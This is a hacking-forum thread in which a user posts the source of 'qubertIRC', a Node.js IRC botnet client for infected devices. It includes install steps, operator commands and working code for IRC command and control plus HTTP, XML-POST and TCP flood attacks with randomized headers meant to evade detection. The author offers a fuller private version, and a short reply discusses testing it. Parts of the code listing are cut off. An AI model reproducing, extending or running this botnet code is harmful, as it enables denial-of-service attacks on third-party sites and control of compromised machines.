

Forum:[Hack Forums](#)

Thread: [\[SOURCE\] qubertIRC | L7/L4 | IRC Botnet Client PoC | NODE |](#)

0xWarning - July 25, 2024, 4:19 pm

qubertIRC

PoC IRC Botnet Client

(Yes IK its 2024 but the good old days were so simple)

PLEASE NOTE YOU WILL NEED SOME FORM OF IRC SERVER LIKE UNREALIRC
THIS IS JUST A BOT THAT GOES ON INFECTED DEVICES (Don't Ask How)

Install

:\$ Node must be installed

:\$ Use npm to install all the modules find them at the top of the file (Don't be lazy and do something)

:\$ node qubertIRC-pub.js

:\$ Use mIRC or something to connect to the server and you should already have one bot

Methods

:\$ TCP

:\$ HTTP - POST/GET MIX

:\$ HTTP-XML - XML POST PAYLOAD

Commands

:\$!stop

:\$!flood tcp ip time cons

:\$!flood http website time cons

:\$!flood http-xml webtime time cons

SRC

Code /*

qubertIRC > PUBLIC BUILD (HF)

The PoC Botnet is a proof-of-concept implementation showcasing various distributed denial-of-service (DDoS) attack techniques using NODE and IRC communication.

----- Note

\$. This whole thing is a WIP and may get updated now and then

\$. COMMENTS are stripped. YOU DON'T NEED TO KNOW WHAT THIS DOES

----- Features

\$. DDoS Attack Modes: (GET/HEAD) HTTP Flood, XML HTTP flood, TCP FOOD

\$. IRC Command and Control: Allows remote command issuance and control

\$. Configurable Parameters: Target URL/IP, attack duration, worker count

\$: Randomized Headers: Uses randomized user-agent and referrer headers to evade detection

----- Author

\$: GIT: 0xWarning

\$: HF: 0xWarning

*/

```
const irc = require('irc');
const axios = require('axios');
const { randomBytes } = require('crypto');
const { setTimeout: sleep } = require('timers/promises');
const net = require('net');
const url = require('url');
const fs = require('fs');
const { request } = require('http');
```

// Configuration

```
const coolNames = ["Dragon", "Phoenix", "Shadow", "Blaze", "Thunder", "Ghost", "Viper", "Knight",
"Ninja", "Samurai"];
```

```
const coolName = coolNames[Math.floor(Math.random() * coolNames.length)];
```

```
const server = "YOUR SERVER IP HERE"; // 8.8.8.8 127.0.0.1 0.0.0.0 IDC put the fucking thing
here
```

```
const port = 6667; // IRC PORT
```

```
const channel = "#COMMAND-CHANNEL-HERE"; // Channel for this infected device to join and be
controlled from
```

```
const botnick = `qubertIRC_${coolName}`; // qubertIRC :)
```

```
const adminNick = "YOURIRCUSERNAME"; // PUT YOUR mIRC or whatever irc client username in
there
```

```
const userAgents = [
```

```
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/58.0.3029.110 Safari/537.3",
```

```
  "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1",
```

```
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/74.0.3729.169 Safari/537.36",
```

```
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
];
```

```
const referrers = [
```

```
  "PUT URLS HERE",
```

```
  "PUT URLS HERE"
```

```
];
```

```
let runningTasks = [];
```

```
let stopCurrentAttack = false;
```

```
const client = new irc.Client(server, botnick, {
  channels: [channel],
  port: port,
});
```

```

client.addListener('error', message => {
  console.error('error: ', message);
});

client.addListener('registered', message => {
  client.say(channel, `${botnick} has joined the channel!`);
});

client.addListener('message', (from, to, message) => {
  handleCommand(from, message.trim());
});

function handleCommand(sender, message) {
  if (sender !== adminNick) return;

  const parts = message.split(' ');
  const command = parts[0];
  const attackType = parts[1];
  const target = parts[2];
  const count = parseInt(parts[3]);
  const duration = parseInt(parts[4]);

  switch (command) {
    case '!flood':
      if (attackType && target && count && duration) {
        stopCurrentAttack = false;
        switch (attackType) {
          case 'http':
            startHttpFlood(target, count, duration);
            break;
          case 'tcp':
            startTcpFlood(target, count, duration);
            break;
          case 'http-xml':
            startHttpXmlFlood(target, count, duration);
            break;
          default:
            client.say(channel, 'Unknown attack type.');
```

```

stopCurrentAttack = true;
runningTasks.forEach(task => task.cancel());
runningTasks = [];
client.say(channel, 'Attack stopped.');
```

```

function startHttpFlood(url, count, duration) {
  client.say(channel, `Starting HTTP flood attack on ${url} with ${count} workers for ${duration}
seconds`);
```

```

  const stopTime = Date.now() + duration * 1000;
  const flood = () => {
    if (Date.now() > stopTime || stopCurrentAttack) return;
```

```

    const headers = {
      "User-Agent": userAgents[Math.floor(Math.random() * userAgents.length)],
      "Referer": referrers[Math.floor(Math.random() * referrers.length)],
    };

```

```

    for (let i = 0; i < count; i++) {
      axios.get(url, { headers }).catch(() => { /* Ignore errors */ });
      axios.head(url, { headers }).catch(() => { /* Ignore errors */ });
    }

```

```

    setImmediate(flood);
  };

```

```

  runningTasks.push({
    cancel: () => stopCurrentAttack = true
  });
  flood();

```

```

  setTimeout(() => {
    if (!stopCurrentAttack) {
      client.say(channel, `HTTP flood attack on ${url} finished`);
    }
  }, duration * 1000);
}

```

```

function startHttpXmlFlood(url, count, duration) {
  client.say(channel, `Starting HTTP XML flood attack on ${url} with ${count} workers for
${duration} seconds`);
```

```

  const stopTime = Date.now() + duration * 1000;
  const flood = () => {
    if (Date.now() > stopTime || stopCurrentAttack) return;
```

```

    const headers = {
      "User-Agent": userAgents[Math.floor(Math.random() * userAgents.length)],
      "Referer": referrers[Math.floor(Math.random() * referrers.length)],
      "Content-Type": "application/xml"
    };

```

```

};

const payload = "<xml>" + "<a>".repeat(1000) + "</a>".repeat(1000) + "</xml>";

for (let i = 0; i < count; i++) {
  axios.post(url, payload, { headers }).catch(() => { /* Ignore errors */ });
}

setImmediate(flood);
};

runningTasks.push({
  cancel: () => stopCurrentAttack = true
});
flood();

setTimeout(() => {
  if (!stopCurrentAttack) {
    client.say(channel, `HTTP XML flood attack on ${url} finished`);
  }
}, duration * 1000);
}

function startTcpFlood(target, count, duration) {
  client.say(channel, `Starting TCP flood attack on ${target} with ${count} workers for ${duration}
seconds`);

  const net = require('net');
  const stopTime = Date.now() + duration * 1000;
  const flood = () => {
    if (Date.now() > stopTime || stopCurrentAttack) return;

    for (let i = 0; i < count; i++) {
      const socket = new net.Socket();
      socket.connect(80, target, () => {
        socket.write(randomBytes(1024));
        socket.end();
      });
      socket.on('error', () => { /* Ignore errors */ });
    }

    setImmediate(flood);
  };

  runningTasks.push({
    cancel: () => stopCurrentAttack = true
  });
  flood();

  setTimeout(() => {
    if (!stopCurrentAttack) {
      client.say(channel, `TCP flood attack on ${target} finished`);
    }
  }, duration * 1000);
}

```

```
    }  
    }, duration * 1000);  
}
```

There is a private version with alot more methods and extra goodies if you want it comment and i might release it

chormet - July 26, 2024, 2:56 am

anyone familiar botnet tested this? its secure?

0xWarning - July 26, 2024, 7:47 am

(Jul 26, 2024 02:56 AM)chormet Wrote: [\[CITE\]](#) anyone familiar botnet tested this? its secure?

I whipped this up myself so I don't think anyone else has tested it yet and it's a PoC.

The source is there just hook it up to a unrealirc and use the source on a separate server to act like a bot so you can test the methods